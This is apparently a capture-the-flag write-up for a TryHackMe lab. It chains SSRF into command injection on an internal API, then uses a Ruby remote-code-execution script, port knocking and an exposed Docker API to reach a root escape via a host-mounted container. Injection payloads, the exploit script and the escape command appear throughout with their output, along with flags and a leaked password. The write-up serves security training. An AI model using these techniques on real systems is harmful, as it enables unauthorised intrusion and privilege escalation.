Information
Room
Name: The Great Escape
Profile: tryhackme.com
Difficulty: Medium
Description : Our devs have created an awesome new site. Can you break out of the sandbox?
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S gtfoblookup docker curl nmap burpsuite ssrf-sheriff ruby-httpclient
Security.txt
What is security.txt
? Take a look at my article on the subject.
On the web app we can hit /.well-known/security.txt
:
Hey you found me!
The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.
See https://securitytxt.org/ for more information.
Ping /api/fl46 with a HEAD request for a nifty treat.
Let's do that.
$ curl -I http://10.10.70.53/api/fl46
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Mar 2021 09:21:55 GMT
Connection: keep-alive
flag: THM{edited}
Web flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4}
Web discovery
Unauthenticated we can only see a login form.
But I quickly discovered /robots.txt
giving some interesting paths to try:
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$
/api/
: I have no information about the API yet so let's skip it for now
/exif-util/
it has an unauthenticated upload form
/*.bak.txt$
I'll be able to leak some source code with that
I retrieved the source code of the upload form at /exif-util.bak.txt
.
< template >
< section >
< div class = "container" >
< h1 class = "title" >Exif Utils</ h1 >
< section >
< form @submit.prevent="submitUrl" name = "submitUrl" >
< b-field grouped label = "Enter a URL to an image" >
< b-input
placeholder = "http://..."
expanded
v-model = "url"
></ b-input >
< b-button native-type = "submit" type = "is-dark" >
Submit
</ b-button >
</ b-field >
</ form >
</ section >
< section v-if = "hasResponse" >
< pre >
{ { response } }
</ pre >
</ section >
</ div >
</ section >
</ template >
< script >
export default {
name : 'Exif Util' ,
auth : false ,
data () {
return {
hasResponse : false ,
response : '' ,
url : '' ,
}
},
methods : {
async submitUrl () {
this . hasResponse = false
console . log ( 'Submitted URL' )
try {
const response = await this . $axios . $get ( 'http://api-dev-backup:8080/exif' , {
params : {
url : this . url ,
},
})
this . hasResponse = true
this . response = response
} catch ( err ) {
console . log ( err )
this . $buefy . notification . open ({
duration : 4000 ,
message : 'Something bad happened, please verify that the URL is valid' ,
type : 'is-danger' ,
position : 'is-top' ,
hasIcon : true ,
})
}
},
},
}
</ script >
This will send our image URL, either a HTTP link (http://example.org/image.png )
or data-URI (data:image/png;base64,iVBOR...
) to an internal API
(http://api-dev-backup:8080/exif ). But we have an externally exposed API and
trying to reach http://10.10.190.91/api/exif gives a 500 error because the
endpoint exists but we did not provide any argument and it must be expecting
the url
too. So /api/exif
exposed on port 80 must be the same API as
/exif
on the internal port 8080.
But is there a difference in filtering between the production and backup API?
For now I don't know, but with the error message I get I know it's a Java backend:
An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection
.
Also if I make a SSRF to a controlled URL with ssrf-sheriff
(eg. http://10.10.190.91/api/exif?url=http://10.9.19.77:8000
) I retrieve
the following entry leaking Java version (11.0.8):
2021-02-16T10:50:48.652+0100 info handler/handler.go:105 New inbound HTTP request {"IP": "10.10.190.91:53190", "Path": "/", "Response Content-Type": "text/plain", "Request Headers": {"Accept":["text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"],"Connection":["keep-alive"],"Te":["gzip, deflate; q=0.5"],"User-Agent":["Java/11.0.8"]}}
Web exploitation
We can reach the internal dev APi via the public one (SSRF):
/api/exif?url=http://api-dev-backup:8080/exif?url=xxx
and it seems that the
internal one is vulnerable to command injection:
/api/exif?url=http://api-dev-backup:8080/exif?url=noraj;id
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Mar 2021 09:15:06 GMT
Content-Type: text/plain;charset=UTF-8
Content-Length: 360
Connection: close
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
uid=0(root) gid=0(root) groups=0(root)
Quick PoC in Ruby to ease the epxloitation:
require 'httpclient'
VULN_URL = 'http://10.10.70.53/api/exif'
cmd = ARGV [ 0 ]
data = {
'url' => "http://api-dev-backup:8080/exif?url=noraj; #{ cmd } "
}
clnt = HTTPClient . new
res = clnt.get( VULN_URL , data)
if /Request contains banned words/ .match?(res.body)
puts 'We hit blacklist'
else
stdout = /- {40} .+- {40} \s +(.+)/m .match(res.body).captures[ 0 ]
puts stdout
end
Run it:
$ ruby rce.rb id
uid=0(root) gid=0(root) groups=0(root)
$ ruby rce.rb 'ls -lhA /root'
total 20K
lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4.0K Jan 7 16:48 .git
-rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt
$ ruby rce.rb 'cat /root/dev-note.txt'
Hey guys,
Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
Anyways, the password is fluffybunnies123
Cheers,
Hydra
$ ruby rce.rb 'ls -lhA /.dockerenv'
-rwxr-xr-x 1 root root 0 Jan 7 22:14 /.dockerenv
It seems we are running as root in a docker container and we found a password
in dev-note.txt
: fluffybunnies123
. It's a valid password for the web app
or SSH.
System enumeration
The note is saying file were removed and we have a git repository.
Let's dig in the git repository:
$ ruby rce.rb 'cd /root; git --no-pager log --oneline'
5242825 fixed the dev note
4530ff7 Removed the flag and original dev note b/c Security
a3d30a7 Added the flag and dev notes
$ ruby rce.rb 'cd /root; git --no-pager log HEAD~2 -p'
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Added the flag and dev notes
diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{edited}
\ No newline at end of file
Docker flag: THM{0cb4b947043cb5c0486a454b75a10876}
Port knocking
The second dev note was telling us to do some port knocking on TCP ports
42, 1337, 10420, 6969, and 63000 to expose the docker port remotely.
We can write a quick port knocker in Ruby:
require 'socket'
ports = [ 42 , 1337 , 10420 , 6969 , 63000 ]
ports.each do | port |
puts "[+] Port: #{ port } "
sleep 1
begin
s = TCPSocket . new '10.10.70.53' , port
s.close
rescue Errno :: ECONNREFUSED , Errno :: EHOSTUNREACH
next
end
end
Also looking at the List of TCP and UDP port numbers we can find the
docker related well known ports:
2375: Docker REST API (plain)
2376: Docker REST API (SSL)
2377: Docker Swarm cluster management communications
It's will be most likely be exposed on port 2375.
Let's port knock and then see if the docker port is open:
$ ruby port-knock.rb
[+] Port: 42
[+] Port: 1337
[+] Port: 10420
[+] Port: 6969
[+] Port: 63000
$ nmap -p 2375 10.10.70.53
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 11:27 CET
Nmap scan report for 10.10.70.53
Host is up (0.034s latency).
PORT STATE SERVICE
2375/tcp open docker
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
Docker enumeration
Let's use an environment variable (DOCKER_HOST
) to use the remotely exposed
one for our current session. Then we can enumerate.
$ export DOCKER_HOST=tcp://10.10.70.53:2375
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49fe455a9681 frontend "/docker-entrypoint.…" 2 months ago Up 2 hours 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1
4b51f5742aad exif-api-dev "./application -Dqua…" 2 months ago Up 2 hours dockerescapecompose_api-dev-backup_1
cb83912607b9 exif-api "./application -Dqua…" 2 months ago Up 2 hours 8080/tcp dockerescapecompose_api_1
548b701caa56 endlessh "/endlessh -v" 2 months ago Up 2 hours 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1
$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
exif-api-dev latest 4084cb55e1c7 2 months ago 214MB
exif-api latest 923c5821b907 2 months ago 163MB
frontend latest 577f9da1362e 2 months ago 138MB
endlessh latest 7bde5182dc5e 2 months ago 5.67MB
nginx latest ae2feff98a0c 3 months ago 133MB
debian 10-slim 4a9cd57610d6 3 months ago 69.2MB
registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 3 months ago 103MB
alpine 3.9 78a2ce922f86 10 months ago 5.55MB
There is a generic Alpine image.
EoP: Docker exploitation
Let's check the GTFObin for docker and use it:
$ gtfoblookup linux shell docker
docker:
shell:
Description: The resulting is a root shell.
Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
$ docker run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cat /root/flag.txt
Congrats, you found the real flag!
THM{edited}
Root flag: THM{c62517c0cad93ac93a92b1315a32d734}